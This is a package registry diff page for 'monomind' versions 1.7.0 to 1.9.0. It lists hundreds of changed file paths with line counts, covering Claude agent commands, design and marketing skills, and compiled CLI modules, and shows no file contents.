monomind 1.7.0 → 1.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (562) hide show
  1. package/.claude/agents/design/design-monodesign.md +121 -0
  2. package/.claude/agents/github/issue-tracker.md +12 -12
  3. package/.claude/agents/github/pr-manager.md +10 -10
  4. package/.claude/agents/github/release-manager.md +49 -105
  5. package/.claude/agents/github/repo-architect.md +73 -92
  6. package/.claude/agents/github/sync-coordinator.md +55 -123
  7. package/.claude/agents/marketing/marketing-competitive-content.md +155 -0
  8. package/.claude/agents/marketing/marketing-content-creator.md +13 -0
  9. package/.claude/agents/marketing/marketing-cro-specialist.md +147 -0
  10. package/.claude/agents/marketing/marketing-email-specialist.md +90 -0
  11. package/.claude/agents/marketing/marketing-launch-strategist.md +129 -0
  12. package/.claude/agents/marketing/marketing-pricing-strategist.md +127 -0
  13. package/.claude/agents/specialists/integration-architect.md +94 -0
  14. package/.claude/commands/agents/README.md +4 -0
  15. package/.claude/commands/agents/agent-capabilities.md +6 -2
  16. package/.claude/commands/agents/agent-coordination.md +4 -0
  17. package/.claude/commands/agents/agent-spawning.md +4 -0
  18. package/.claude/commands/agents/agent-types.md +6 -2
  19. package/.claude/commands/analysis/README.md +14 -5
  20. package/.claude/commands/analysis/bottleneck-detect.md +30 -123
  21. package/.claude/commands/analysis/performance-bottlenecks.md +14 -14
  22. package/.claude/commands/analysis/performance-report.md +38 -11
  23. package/.claude/commands/analysis/token-efficiency.md +13 -16
  24. package/.claude/commands/analysis/token-usage.md +34 -12
  25. package/.claude/commands/automation/README.md +15 -5
  26. package/.claude/commands/automation/auto-agent.md +49 -85
  27. package/.claude/commands/automation/self-healing.md +20 -18
  28. package/.claude/commands/automation/session-memory.md +28 -29
  29. package/.claude/commands/automation/smart-agents.md +17 -9
  30. package/.claude/commands/automation/smart-spawn.md +52 -11
  31. package/.claude/commands/automation/workflow-select.md +46 -11
  32. package/.claude/commands/browse.md +5 -0
  33. package/.claude/commands/coordination/README.md +9 -5
  34. package/.claude/commands/coordination/agent-spawn.md +53 -9
  35. package/.claude/commands/coordination/swarm-init.md +39 -42
  36. package/.claude/commands/coordination/task-orchestrate.md +65 -11
  37. package/.claude/commands/github/README.md +21 -8
  38. package/.claude/commands/github/github-modes.md +9 -5
  39. package/.claude/commands/github/issue-tracker.md +34 -33
  40. package/.claude/commands/github/pr-manager.md +20 -17
  41. package/.claude/commands/github/release-manager.md +37 -49
  42. package/.claude/commands/github/repo-architect.md +39 -41
  43. package/.claude/commands/github/sync-coordinator.md +45 -49
  44. package/.claude/commands/hive-mind/README.md +42 -17
  45. package/.claude/commands/hive-mind/hive-mind-consensus.md +68 -4
  46. package/.claude/commands/hive-mind/hive-mind-init.md +55 -5
  47. package/.claude/commands/hive-mind/hive-mind-memory.md +69 -4
  48. package/.claude/commands/hive-mind/hive-mind-spawn.md +71 -10
  49. package/.claude/commands/hive-mind/hive-mind-status.md +52 -4
  50. package/.claude/commands/hive-mind/hive-mind-stop.md +51 -4
  51. package/.claude/commands/hive-mind/hive-mind.md +74 -14
  52. package/.claude/commands/hooks/README.md +62 -7
  53. package/.claude/commands/hooks/overview.md +94 -35
  54. package/.claude/commands/hooks/post-edit.md +48 -87
  55. package/.claude/commands/hooks/post-task.md +37 -87
  56. package/.claude/commands/hooks/pre-edit.md +52 -84
  57. package/.claude/commands/hooks/pre-task.md +46 -81
  58. package/.claude/commands/hooks/session-end.md +49 -85
  59. package/.claude/commands/hooks/setup.md +87 -58
  60. package/.claude/commands/mastermind/_repeat.md +308 -0
  61. package/.claude/commands/mastermind/architect.md +49 -0
  62. package/.claude/commands/mastermind/brain.md +98 -0
  63. package/.claude/commands/mastermind/build.md +22 -0
  64. package/.claude/commands/mastermind/content.md +22 -0
  65. package/.claude/commands/mastermind/createorg.md +94 -0
  66. package/.claude/commands/mastermind/finance.md +22 -0
  67. package/.claude/commands/mastermind/idea.md +22 -0
  68. package/.claude/commands/mastermind/marketing.md +22 -0
  69. package/.claude/commands/mastermind/master.md +379 -0
  70. package/.claude/commands/mastermind/ops.md +22 -0
  71. package/.claude/commands/mastermind/release.md +22 -0
  72. package/.claude/commands/mastermind/research.md +22 -0
  73. package/.claude/commands/mastermind/review.md +22 -0
  74. package/.claude/commands/mastermind/runorg.md +106 -0
  75. package/.claude/commands/mastermind/sales.md +22 -0
  76. package/.claude/commands/mastermind/techport.md +17 -0
  77. package/.claude/commands/memory/README.md +75 -5
  78. package/.claude/commands/memory/memory-search.md +63 -11
  79. package/.claude/commands/monitoring/README.md +64 -4
  80. package/.claude/commands/monitoring/agent-metrics.md +50 -10
  81. package/.claude/commands/monitoring/agents.md +59 -32
  82. package/.claude/commands/monitoring/status.md +96 -34
  83. package/.claude/commands/monograph/README.md +102 -0
  84. package/.claude/commands/monograph/monograph-build.md +79 -0
  85. package/.claude/commands/monograph/monograph-search.md +96 -0
  86. package/.claude/commands/monograph/monograph-stats.md +53 -0
  87. package/.claude/commands/monograph/monograph-watch.md +63 -0
  88. package/.claude/commands/monograph/monograph-wiki.md +91 -0
  89. package/.claude/commands/monomind/createtask.md +277 -0
  90. package/.claude/commands/{monomind-do.md → monomind/do.md} +22 -9
  91. package/.claude/commands/monomind/help.md +118 -0
  92. package/.claude/commands/{monomind-idea.md → monomind/idea.md} +23 -29
  93. package/.claude/commands/{monomind-improve.md → monomind/improve.md} +24 -30
  94. package/.claude/commands/monomind/memory.md +230 -0
  95. package/.claude/commands/monomind/repeat.md +201 -0
  96. package/.claude/commands/monomind/review.md +313 -0
  97. package/.claude/commands/monomind/specialagents.md +125 -0
  98. package/.claude/commands/monomind/swarm.md +161 -0
  99. package/.claude/commands/monomind/understand.md +148 -0
  100. package/.claude/commands/optimization/README.md +69 -5
  101. package/.claude/commands/optimization/auto-topology.md +66 -43
  102. package/.claude/commands/optimization/parallel-execution.md +65 -39
  103. package/.claude/commands/optimization/performance-optimize.md +79 -0
  104. package/.claude/commands/pair/README.md +48 -230
  105. package/.claude/commands/pair/examples.md +85 -441
  106. package/.claude/commands/pair/modes.md +77 -303
  107. package/.claude/commands/pair/session.md +76 -359
  108. package/.claude/commands/sparc/analyzer.md +9 -26
  109. package/.claude/commands/sparc/architect.md +8 -25
  110. package/.claude/commands/sparc/ask.md +27 -68
  111. package/.claude/commands/sparc/batch-executor.md +8 -25
  112. package/.claude/commands/sparc/code.md +12 -53
  113. package/.claude/commands/sparc/coder.md +8 -25
  114. package/.claude/commands/sparc/debug.md +12 -53
  115. package/.claude/commands/sparc/debugger.md +8 -25
  116. package/.claude/commands/sparc/designer.md +8 -25
  117. package/.claude/commands/sparc/devops.md +16 -57
  118. package/.claude/commands/sparc/docs-writer.md +12 -53
  119. package/.claude/commands/sparc/documenter.md +8 -25
  120. package/.claude/commands/sparc/innovator.md +8 -25
  121. package/.claude/commands/sparc/integration.md +12 -53
  122. package/.claude/commands/sparc/mcp.md +12 -53
  123. package/.claude/commands/sparc/memory-manager.md +28 -25
  124. package/.claude/commands/sparc/optimizer.md +8 -25
  125. package/.claude/commands/sparc/orchestrator.md +35 -97
  126. package/.claude/commands/sparc/post-deployment-monitoring-mode.md +13 -54
  127. package/.claude/commands/sparc/refinement-optimization-mode.md +13 -54
  128. package/.claude/commands/sparc/researcher.md +8 -25
  129. package/.claude/commands/sparc/reviewer.md +8 -25
  130. package/.claude/commands/sparc/security-review.md +13 -54
  131. package/.claude/commands/sparc/sparc-modes.md +97 -151
  132. package/.claude/commands/sparc/sparc.md +16 -56
  133. package/.claude/commands/sparc/spec-pseudocode.md +13 -54
  134. package/.claude/commands/sparc/supabase-admin.md +19 -66
  135. package/.claude/commands/sparc/swarm-coordinator.md +21 -25
  136. package/.claude/commands/sparc/tdd.md +8 -25
  137. package/.claude/commands/sparc/tester.md +8 -25
  138. package/.claude/commands/sparc/tutorial.md +12 -53
  139. package/.claude/commands/sparc/workflow-manager.md +8 -25
  140. package/.claude/commands/sparc.md +76 -130
  141. package/.claude/commands/stream-chain/pipeline.md +72 -77
  142. package/.claude/commands/stream-chain/run.md +133 -47
  143. package/.claude/commands/swarm/README.md +37 -12
  144. package/.claude/commands/swarm/analysis.md +47 -69
  145. package/.claude/commands/swarm/development.md +45 -69
  146. package/.claude/commands/swarm/examples.md +77 -142
  147. package/.claude/commands/swarm/maintenance.md +47 -74
  148. package/.claude/commands/swarm/optimization.md +54 -87
  149. package/.claude/commands/swarm/research.md +47 -107
  150. package/.claude/commands/swarm/swarm-analysis.md +58 -4
  151. package/.claude/commands/swarm/swarm-background.md +61 -4
  152. package/.claude/commands/swarm/swarm-modes.md +63 -4
  153. package/.claude/commands/swarm/swarm-monitor.md +50 -4
  154. package/.claude/commands/swarm/swarm-status.md +40 -4
  155. package/.claude/commands/swarm/swarm-strategies.md +73 -5
  156. package/.claude/commands/swarm/swarm.md +70 -18
  157. package/.claude/commands/swarm/testing.md +51 -102
  158. package/.claude/commands/tokens.md +6 -1
  159. package/.claude/commands/training/README.md +36 -6
  160. package/.claude/commands/training/model-update.md +68 -15
  161. package/.claude/commands/training/neural-patterns.md +54 -55
  162. package/.claude/commands/training/neural-train.md +70 -16
  163. package/.claude/commands/training/pattern-learn.md +60 -16
  164. package/.claude/commands/training/specialization.md +78 -49
  165. package/.claude/commands/truth/start.md +87 -109
  166. package/.claude/commands/ts.md +7 -2
  167. package/.claude/commands/verify/check.md +90 -34
  168. package/.claude/commands/verify/start.md +71 -94
  169. package/.claude/commands/workflows/README.md +62 -6
  170. package/.claude/commands/workflows/development.md +69 -61
  171. package/.claude/commands/workflows/research.md +73 -47
  172. package/.claude/commands/workflows/workflow-create.md +75 -16
  173. package/.claude/commands/workflows/workflow-execute.md +94 -16
  174. package/.claude/commands/workflows/workflow-export.md +81 -16
  175. package/.claude/helpers/control-start.cjs +91 -0
  176. package/.claude/helpers/extras-registry.json +4104 -1991
  177. package/.claude/helpers/graphify-freshen.cjs +44 -13
  178. package/.claude/helpers/hook-handler.cjs +256 -1
  179. package/.claude/helpers/loop-tracker.cjs +107 -0
  180. package/.claude/helpers/router.cjs +48 -68
  181. package/.claude/helpers/skill-registry.json +89 -104
  182. package/.claude/helpers/statusline.cjs +33 -2
  183. package/.claude/scheduled_tasks.lock +1 -0
  184. package/.claude/settings.json +15 -0
  185. package/.claude/skills/.monomind/data/ranked-context.json +5 -0
  186. package/.claude/skills/.monomind/sessions/current.json +13 -0
  187. package/.claude/skills/.monomind/sessions/session-1777829336455.json +15 -0
  188. package/.claude/skills/.monomind/sessions/session-1777831614725.json +15 -0
  189. package/.claude/skills/.monomind/sessions/session-1777832095857.json +15 -0
  190. package/.claude/skills/.monomind/sessions/session-1777839814183.json +15 -0
  191. package/.claude/skills/.monomind/sessions/session-1777841847131.json +15 -0
  192. package/.claude/skills/.monomind/sessions/session-1777843309463.json +15 -0
  193. package/.claude/skills/.monomind/sessions/session-1777880867159.json +15 -0
  194. package/.claude/skills/.monomind/sessions/session-1777881884593.json +15 -0
  195. package/.claude/skills/.monomind/sessions/session-1777884090471.json +15 -0
  196. package/.claude/skills/.monomind/sessions/session-1777884808221.json +15 -0
  197. package/.claude/skills/.monomind/sessions/session-1777885672155.json +15 -0
  198. package/.claude/skills/.monomind/sessions/session-1777886852818.json +15 -0
  199. package/.claude/skills/.monomind/sessions/session-1777896532690.json +15 -0
  200. package/.claude/skills/agentdb-advanced/SKILL.md +11 -12
  201. package/.claude/skills/agentdb-learning/SKILL.md +20 -21
  202. package/.claude/skills/agentdb-memory-patterns/SKILL.md +28 -30
  203. package/.claude/skills/agentdb-optimization/SKILL.md +11 -12
  204. package/.claude/skills/agentdb-vector-search/SKILL.md +37 -41
  205. package/.claude/skills/{v3-integration-deep → agentic-integration}/SKILL.md +20 -13
  206. package/.claude/skills/agentic-jujutsu/SKILL.md +22 -22
  207. package/.claude/skills/{v3-cli-modernization → cli-modernization}/SKILL.md +17 -8
  208. package/.claude/skills/{v3-core-implementation → core-implementation}/SKILL.md +33 -8
  209. package/.claude/skills/{v3-ddd-architecture → ddd-architecture}/SKILL.md +18 -25
  210. package/.claude/skills/github-code-review/SKILL.md +82 -83
  211. package/.claude/skills/github-multi-repo/SKILL.md +42 -46
  212. package/.claude/skills/github-project-management/SKILL.md +83 -88
  213. package/.claude/skills/github-release-management/SKILL.md +12 -18
  214. package/.claude/skills/github-workflow-automation/SKILL.md +70 -74
  215. package/.claude/skills/hooks-automation/SKILL.md +9 -13
  216. package/.claude/skills/mastermind/_intake.md +83 -0
  217. package/.claude/skills/mastermind/_protocol.md +275 -0
  218. package/.claude/skills/mastermind/architect.md +847 -0
  219. package/.claude/skills/mastermind/build.md +158 -0
  220. package/.claude/skills/mastermind/content.md +185 -0
  221. package/.claude/skills/mastermind/createorg.md +318 -0
  222. package/.claude/skills/mastermind/finance.md +154 -0
  223. package/.claude/skills/mastermind/idea.md +158 -0
  224. package/.claude/skills/mastermind/marketing.md +216 -0
  225. package/.claude/skills/mastermind/monotask.md +350 -0
  226. package/.claude/skills/mastermind/ops.md +156 -0
  227. package/.claude/skills/mastermind/references/copywriting-frameworks.md +181 -0
  228. package/.claude/skills/mastermind/references/persuasion-psychology.md +158 -0
  229. package/.claude/skills/mastermind/release.md +156 -0
  230. package/.claude/skills/mastermind/research.md +156 -0
  231. package/.claude/skills/mastermind/review.md +157 -0
  232. package/.claude/skills/mastermind/runorg.md +308 -0
  233. package/.claude/skills/mastermind/sales.md +158 -0
  234. package/.claude/skills/mastermind/techport.md +743 -0
  235. package/.claude/skills/{v3-mcp-optimization → mcp-optimization}/SKILL.md +35 -14
  236. package/.claude/skills/{v3-memory-unification → memory-unification}/SKILL.md +20 -4
  237. package/.claude/skills/monodesign/SKILL.md +302 -0
  238. package/.claude/skills/monodesign/reference/adapt.md +190 -0
  239. package/.claude/skills/monodesign/reference/animate.md +175 -0
  240. package/.claude/skills/monodesign/reference/antipatterns-catalog.md +187 -0
  241. package/.claude/skills/monodesign/reference/audit.md +133 -0
  242. package/.claude/skills/monodesign/reference/bolder.md +113 -0
  243. package/.claude/skills/monodesign/reference/brand-workflow.md +180 -0
  244. package/.claude/skills/monodesign/reference/brand.md +114 -0
  245. package/.claude/skills/monodesign/reference/clarify.md +174 -0
  246. package/.claude/skills/monodesign/reference/cognitive-load.md +106 -0
  247. package/.claude/skills/monodesign/reference/color-and-contrast.md +105 -0
  248. package/.claude/skills/monodesign/reference/colorize.md +154 -0
  249. package/.claude/skills/monodesign/reference/component-specs.md +260 -0
  250. package/.claude/skills/monodesign/reference/component-states.md +274 -0
  251. package/.claude/skills/monodesign/reference/component-system.md +358 -0
  252. package/.claude/skills/monodesign/reference/copy-formulas.md +160 -0
  253. package/.claude/skills/monodesign/reference/craft.md +193 -0
  254. package/.claude/skills/monodesign/reference/critique.md +213 -0
  255. package/.claude/skills/monodesign/reference/delight.md +302 -0
  256. package/.claude/skills/monodesign/reference/design-principles.md +246 -0
  257. package/.claude/skills/monodesign/reference/distill.md +111 -0
  258. package/.claude/skills/monodesign/reference/document.md +427 -0
  259. package/.claude/skills/monodesign/reference/extract.md +69 -0
  260. package/.claude/skills/monodesign/reference/harden.md +347 -0
  261. package/.claude/skills/monodesign/reference/heuristics-scoring.md +234 -0
  262. package/.claude/skills/monodesign/reference/image-prompts.md +118 -0
  263. package/.claude/skills/monodesign/reference/interaction-design.md +195 -0
  264. package/.claude/skills/monodesign/reference/layout.md +141 -0
  265. package/.claude/skills/monodesign/reference/live.md +622 -0
  266. package/.claude/skills/monodesign/reference/motion-design.md +109 -0
  267. package/.claude/skills/monodesign/reference/onboard.md +234 -0
  268. package/.claude/skills/monodesign/reference/optimize.md +258 -0
  269. package/.claude/skills/monodesign/reference/overdrive.md +130 -0
  270. package/.claude/skills/monodesign/reference/personas.md +179 -0
  271. package/.claude/skills/monodesign/reference/polish.md +233 -0
  272. package/.claude/skills/monodesign/reference/pre-delivery-checklist.md +108 -0
  273. package/.claude/skills/monodesign/reference/product.md +62 -0
  274. package/.claude/skills/monodesign/reference/quieter.md +99 -0
  275. package/.claude/skills/monodesign/reference/responsive-design.md +114 -0
  276. package/.claude/skills/monodesign/reference/shape.md +151 -0
  277. package/.claude/skills/monodesign/reference/spatial-design.md +100 -0
  278. package/.claude/skills/monodesign/reference/teach.md +156 -0
  279. package/.claude/skills/monodesign/reference/token-architecture.md +222 -0
  280. package/.claude/skills/monodesign/reference/typeset.md +124 -0
  281. package/.claude/skills/monodesign/reference/typography.md +159 -0
  282. package/.claude/skills/monodesign/reference/ux-research.md +143 -0
  283. package/.claude/skills/monodesign/reference/ux-rules.md +211 -0
  284. package/.claude/skills/monodesign/reference/ux-writing.md +107 -0
  285. package/.claude/skills/monomotion/SKILL.md +145 -0
  286. package/.claude/skills/monomotion/rules/api-control.md +139 -0
  287. package/.claude/skills/monomotion/rules/effects.md +109 -0
  288. package/.claude/skills/monomotion/rules/integration.md +140 -0
  289. package/.claude/skills/monomotion/rules/scroll.md +131 -0
  290. package/.claude/skills/monomotion/rules/sequencing.md +105 -0
  291. package/.claude/skills/monomotion/rules/svg.md +101 -0
  292. package/.claude/skills/monomotion/rules/text.md +119 -0
  293. package/.claude/skills/pair-programming/SKILL.md +1 -1
  294. package/.claude/skills/performance-analysis/SKILL.md +3 -3
  295. package/.claude/skills/{v3-performance-optimization → performance-optimization}/SKILL.md +16 -8
  296. package/.claude/skills/reasoningbank-agentdb/SKILL.md +17 -19
  297. package/.claude/skills/reasoningbank-intelligence/SKILL.md +4 -6
  298. package/.claude/skills/{v3-security-overhaul → security-hardening}/SKILL.md +13 -3
  299. package/.claude/skills/skill-builder/SKILL.md +19 -19
  300. package/.claude/skills/sparc-methodology/SKILL.md +55 -211
  301. package/.claude/skills/stop-slop/SKILL.md +67 -0
  302. package/.claude/skills/stop-slop/references/examples.md +61 -0
  303. package/.claude/skills/stop-slop/references/phrases.md +130 -0
  304. package/.claude/skills/stop-slop/references/structures.md +136 -0
  305. package/.claude/skills/swarm-advanced/SKILL.md +13 -43
  306. package/.claude/skills/{v3-swarm-coordination → swarm-coordination}/SKILL.md +39 -21
  307. package/.claude/skills/swarm-orchestration/SKILL.md +12 -12
  308. package/.claude/skills/verification-quality/SKILL.md +5 -5
  309. package/README.md +5 -5
  310. package/package.json +1 -1
  311. package/packages/@monomind/cli/README.md +5 -5
  312. package/packages/@monomind/cli/bin/cli.js +78 -13
  313. package/packages/@monomind/cli/dist/src/agents/halt-signal.js +33 -7
  314. package/packages/@monomind/cli/dist/src/agents/managed-agent.js +5 -2
  315. package/packages/@monomind/cli/dist/src/agents/prompt-experiment.d.ts +3 -2
  316. package/packages/@monomind/cli/dist/src/agents/prompt-experiment.js +1 -1
  317. package/packages/@monomind/cli/dist/src/agents/prompt-version-manager.d.ts +5 -2
  318. package/packages/@monomind/cli/dist/src/agents/prompt-version-manager.js +26 -4
  319. package/packages/@monomind/cli/dist/src/agents/specialization-scorer.js +17 -9
  320. package/packages/@monomind/cli/dist/src/agents/trigger-scanner.d.ts +5 -3
  321. package/packages/@monomind/cli/dist/src/agents/trigger-scanner.js +58 -10
  322. package/packages/@monomind/cli/dist/src/agents/version-store.d.ts +0 -1
  323. package/packages/@monomind/cli/dist/src/agents/version-store.js +44 -21
  324. package/packages/@monomind/cli/dist/src/autopilot-state.js +79 -28
  325. package/packages/@monomind/cli/dist/src/benchmarks/benchmark-runner.d.ts +7 -2
  326. package/packages/@monomind/cli/dist/src/benchmarks/benchmark-runner.js +20 -8
  327. package/packages/@monomind/cli/dist/src/benchmarks/metric-evaluators.d.ts +2 -1
  328. package/packages/@monomind/cli/dist/src/benchmarks/metric-evaluators.js +25 -2
  329. package/packages/@monomind/cli/dist/src/commands/agent.js +6 -4
  330. package/packages/@monomind/cli/dist/src/commands/appliance-advanced.js +23 -0
  331. package/packages/@monomind/cli/dist/src/commands/autopilot.js +3 -3
  332. package/packages/@monomind/cli/dist/src/commands/benchmark.js +119 -8
  333. package/packages/@monomind/cli/dist/src/commands/claims.js +22 -14
  334. package/packages/@monomind/cli/dist/src/commands/config.js +32 -0
  335. package/packages/@monomind/cli/dist/src/commands/daemon.js +13 -11
  336. package/packages/@monomind/cli/dist/src/commands/deployment.js +21 -2
  337. package/packages/@monomind/cli/dist/src/commands/doctor.js +28 -62
  338. package/packages/@monomind/cli/dist/src/commands/embeddings.js +124 -48
  339. package/packages/@monomind/cli/dist/src/commands/hive-mind.js +15 -14
  340. package/packages/@monomind/cli/dist/src/commands/hooks.js +45 -41
  341. package/packages/@monomind/cli/dist/src/commands/index.d.ts +2 -0
  342. package/packages/@monomind/cli/dist/src/commands/index.js +20 -7
  343. package/packages/@monomind/cli/dist/src/commands/init.js +53 -19
  344. package/packages/@monomind/cli/dist/src/commands/mcp.js +31 -44
  345. package/packages/@monomind/cli/dist/src/commands/memory.js +47 -15
  346. package/packages/@monomind/cli/dist/src/commands/migrate.js +156 -108
  347. package/packages/@monomind/cli/dist/src/commands/monograph.d.ts +8 -0
  348. package/packages/@monomind/cli/dist/src/commands/monograph.js +526 -0
  349. package/packages/@monomind/cli/dist/src/commands/neural.js +96 -56
  350. package/packages/@monomind/cli/dist/src/commands/performance.js +30 -8
  351. package/packages/@monomind/cli/dist/src/commands/plugins.js +13 -37
  352. package/packages/@monomind/cli/dist/src/commands/process.js +25 -2
  353. package/packages/@monomind/cli/dist/src/commands/providers.js +37 -5
  354. package/packages/@monomind/cli/dist/src/commands/replay.js +4 -4
  355. package/packages/@monomind/cli/dist/src/commands/route.js +37 -5
  356. package/packages/@monomind/cli/dist/src/commands/ruvector/import.js +12 -2
  357. package/packages/@monomind/cli/dist/src/commands/ruvector/init.js +15 -0
  358. package/packages/@monomind/cli/dist/src/commands/ruvector/status.js +16 -3
  359. package/packages/@monomind/cli/dist/src/commands/security.js +342 -193
  360. package/packages/@monomind/cli/dist/src/commands/session.js +51 -8
  361. package/packages/@monomind/cli/dist/src/commands/start.js +18 -4
  362. package/packages/@monomind/cli/dist/src/commands/swarm.js +47 -36
  363. package/packages/@monomind/cli/dist/src/commands/tokens.js +11 -11
  364. package/packages/@monomind/cli/dist/src/commands/transfer-store.js +1 -1
  365. package/packages/@monomind/cli/dist/src/commands/workflow.js +31 -4
  366. package/packages/@monomind/cli/dist/src/config-adapter.d.ts +2 -1
  367. package/packages/@monomind/cli/dist/src/consensus/audit-writer.js +46 -13
  368. package/packages/@monomind/cli/dist/src/consensus/vote-signer.d.ts +0 -3
  369. package/packages/@monomind/cli/dist/src/consensus/vote-signer.js +9 -1
  370. package/packages/@monomind/cli/dist/src/dlq/dlq-reader.d.ts +4 -2
  371. package/packages/@monomind/cli/dist/src/dlq/dlq-reader.js +25 -8
  372. package/packages/@monomind/cli/dist/src/dlq/dlq-replayer.d.ts +10 -3
  373. package/packages/@monomind/cli/dist/src/dlq/dlq-replayer.js +50 -16
  374. package/packages/@monomind/cli/dist/src/dlq/dlq-writer.js +27 -5
  375. package/packages/@monomind/cli/dist/src/eval/dataset-manager.d.ts +2 -2
  376. package/packages/@monomind/cli/dist/src/eval/dataset-manager.js +26 -16
  377. package/packages/@monomind/cli/dist/src/eval/trace-collector.js +23 -3
  378. package/packages/@monomind/cli/dist/src/index.js +12 -10
  379. package/packages/@monomind/cli/dist/src/init/claudemd-generator.js +8 -8
  380. package/packages/@monomind/cli/dist/src/init/executor.js +163 -137
  381. package/packages/@monomind/cli/dist/src/init/helpers-generator.js +49 -36
  382. package/packages/@monomind/cli/dist/src/init/mcp-generator.js +3 -3
  383. package/packages/@monomind/cli/dist/src/init/settings-generator.js +10 -3
  384. package/packages/@monomind/cli/dist/src/init/shared-instructions-generator.js +18 -3
  385. package/packages/@monomind/cli/dist/src/init/statusline-generator.js +3 -1
  386. package/packages/@monomind/cli/dist/src/init/types.d.ts +35 -11
  387. package/packages/@monomind/cli/dist/src/init/types.js +5 -9
  388. package/packages/@monomind/cli/dist/src/interactive/interrupt.js +8 -3
  389. package/packages/@monomind/cli/dist/src/mcp/tool-registry.js +38 -4
  390. package/packages/@monomind/cli/dist/src/mcp-client.js +15 -6
  391. package/packages/@monomind/cli/dist/src/mcp-server.d.ts +9 -2
  392. package/packages/@monomind/cli/dist/src/mcp-server.js +182 -35
  393. package/packages/@monomind/cli/dist/src/mcp-tools/agent-tools.js +66 -34
  394. package/packages/@monomind/cli/dist/src/mcp-tools/agentdb-tools.js +34 -7
  395. package/packages/@monomind/cli/dist/src/mcp-tools/analyze-tools.js +25 -16
  396. package/packages/@monomind/cli/dist/src/mcp-tools/auto-install.js +4 -6
  397. package/packages/@monomind/cli/dist/src/mcp-tools/autopilot-tools.js +12 -2
  398. package/packages/@monomind/cli/dist/src/mcp-tools/browser-tools.js +199 -20
  399. package/packages/@monomind/cli/dist/src/mcp-tools/claims-tools.js +68 -18
  400. package/packages/@monomind/cli/dist/src/mcp-tools/config-tools.js +33 -5
  401. package/packages/@monomind/cli/dist/src/mcp-tools/coordination-tools.js +59 -4
  402. package/packages/@monomind/cli/dist/src/mcp-tools/daa-tools.js +46 -10
  403. package/packages/@monomind/cli/dist/src/mcp-tools/embeddings-tools.js +46 -5
  404. package/packages/@monomind/cli/dist/src/mcp-tools/github-tools.js +29 -16
  405. package/packages/@monomind/cli/dist/src/mcp-tools/graphify-tools.d.ts +4 -67
  406. package/packages/@monomind/cli/dist/src/mcp-tools/graphify-tools.js +40 -1250
  407. package/packages/@monomind/cli/dist/src/mcp-tools/guidance-tools.js +38 -10
  408. package/packages/@monomind/cli/dist/src/mcp-tools/hive-mind-tools.js +96 -33
  409. package/packages/@monomind/cli/dist/src/mcp-tools/hooks-tools.js +70 -37
  410. package/packages/@monomind/cli/dist/src/mcp-tools/index.d.ts +1 -0
  411. package/packages/@monomind/cli/dist/src/mcp-tools/index.js +1 -0
  412. package/packages/@monomind/cli/dist/src/mcp-tools/memory-tools.js +29 -13
  413. package/packages/@monomind/cli/dist/src/mcp-tools/monograph-tools.d.ts +9 -0
  414. package/packages/@monomind/cli/dist/src/mcp-tools/monograph-tools.js +6306 -0
  415. package/packages/@monomind/cli/dist/src/mcp-tools/neural-tools.js +121 -37
  416. package/packages/@monomind/cli/dist/src/mcp-tools/performance-tools.js +21 -8
  417. package/packages/@monomind/cli/dist/src/mcp-tools/progress-tools.js +10 -8
  418. package/packages/@monomind/cli/dist/src/mcp-tools/request-tracker.js +4 -1
  419. package/packages/@monomind/cli/dist/src/mcp-tools/ruvllm-tools.js +19 -8
  420. package/packages/@monomind/cli/dist/src/mcp-tools/session-tools.js +57 -17
  421. package/packages/@monomind/cli/dist/src/mcp-tools/swarm-tools.js +35 -17
  422. package/packages/@monomind/cli/dist/src/mcp-tools/system-tools.js +4 -3
  423. package/packages/@monomind/cli/dist/src/mcp-tools/task-tools.js +53 -13
  424. package/packages/@monomind/cli/dist/src/mcp-tools/terminal-tools.js +63 -14
  425. package/packages/@monomind/cli/dist/src/mcp-tools/transfer-tools.js +21 -16
  426. package/packages/@monomind/cli/dist/src/mcp-tools/workflow-tools.js +92 -23
  427. package/packages/@monomind/cli/dist/src/memory/ewc-consolidation.js +41 -10
  428. package/packages/@monomind/cli/dist/src/memory/intelligence.d.ts +2 -2
  429. package/packages/@monomind/cli/dist/src/memory/intelligence.js +39 -13
  430. package/packages/@monomind/cli/dist/src/memory/memory-bridge.d.ts +1 -0
  431. package/packages/@monomind/cli/dist/src/memory/memory-bridge.js +149 -56
  432. package/packages/@monomind/cli/dist/src/memory/memory-initializer.js +107 -45
  433. package/packages/@monomind/cli/dist/src/memory/sona-optimizer.d.ts +8 -1
  434. package/packages/@monomind/cli/dist/src/memory/sona-optimizer.js +25 -8
  435. package/packages/@monomind/cli/dist/src/observability/replay-reader.d.ts +40 -0
  436. package/packages/@monomind/cli/dist/src/observability/replay-reader.js +138 -0
  437. package/packages/@monomind/cli/dist/src/orchestration/routing-modes.js +35 -5
  438. package/packages/@monomind/cli/dist/src/parser.d.ts +8 -0
  439. package/packages/@monomind/cli/dist/src/parser.js +48 -14
  440. package/packages/@monomind/cli/dist/src/plugins/manager.js +112 -19
  441. package/packages/@monomind/cli/dist/src/plugins/store/discovery.d.ts +1 -1
  442. package/packages/@monomind/cli/dist/src/plugins/store/discovery.js +80 -62
  443. package/packages/@monomind/cli/dist/src/production/circuit-breaker.js +8 -1
  444. package/packages/@monomind/cli/dist/src/production/error-handler.d.ts +4 -2
  445. package/packages/@monomind/cli/dist/src/production/error-handler.js +27 -5
  446. package/packages/@monomind/cli/dist/src/production/monitoring.js +8 -4
  447. package/packages/@monomind/cli/dist/src/production/rate-limiter.js +30 -22
  448. package/packages/@monomind/cli/dist/src/ruvector/agent-wasm.js +2 -2
  449. package/packages/@monomind/cli/dist/src/ruvector/coverage-router.js +19 -9
  450. package/packages/@monomind/cli/dist/src/ruvector/diff-classifier.d.ts +1 -0
  451. package/packages/@monomind/cli/dist/src/ruvector/diff-classifier.js +26 -6
  452. package/packages/@monomind/cli/dist/src/ruvector/enhanced-model-router.js +24 -2
  453. package/packages/@monomind/cli/dist/src/ruvector/index.d.ts +1 -2
  454. package/packages/@monomind/cli/dist/src/ruvector/index.js +2 -2
  455. package/packages/@monomind/cli/dist/src/ruvector/model-router.d.ts +4 -2
  456. package/packages/@monomind/cli/dist/src/ruvector/model-router.js +30 -6
  457. package/packages/@monomind/cli/dist/src/ruvector/moe-router.d.ts +7 -0
  458. package/packages/@monomind/cli/dist/src/ruvector/moe-router.js +35 -12
  459. package/packages/@monomind/cli/dist/src/ruvector/q-learning-router.d.ts +7 -1
  460. package/packages/@monomind/cli/dist/src/ruvector/q-learning-router.js +40 -9
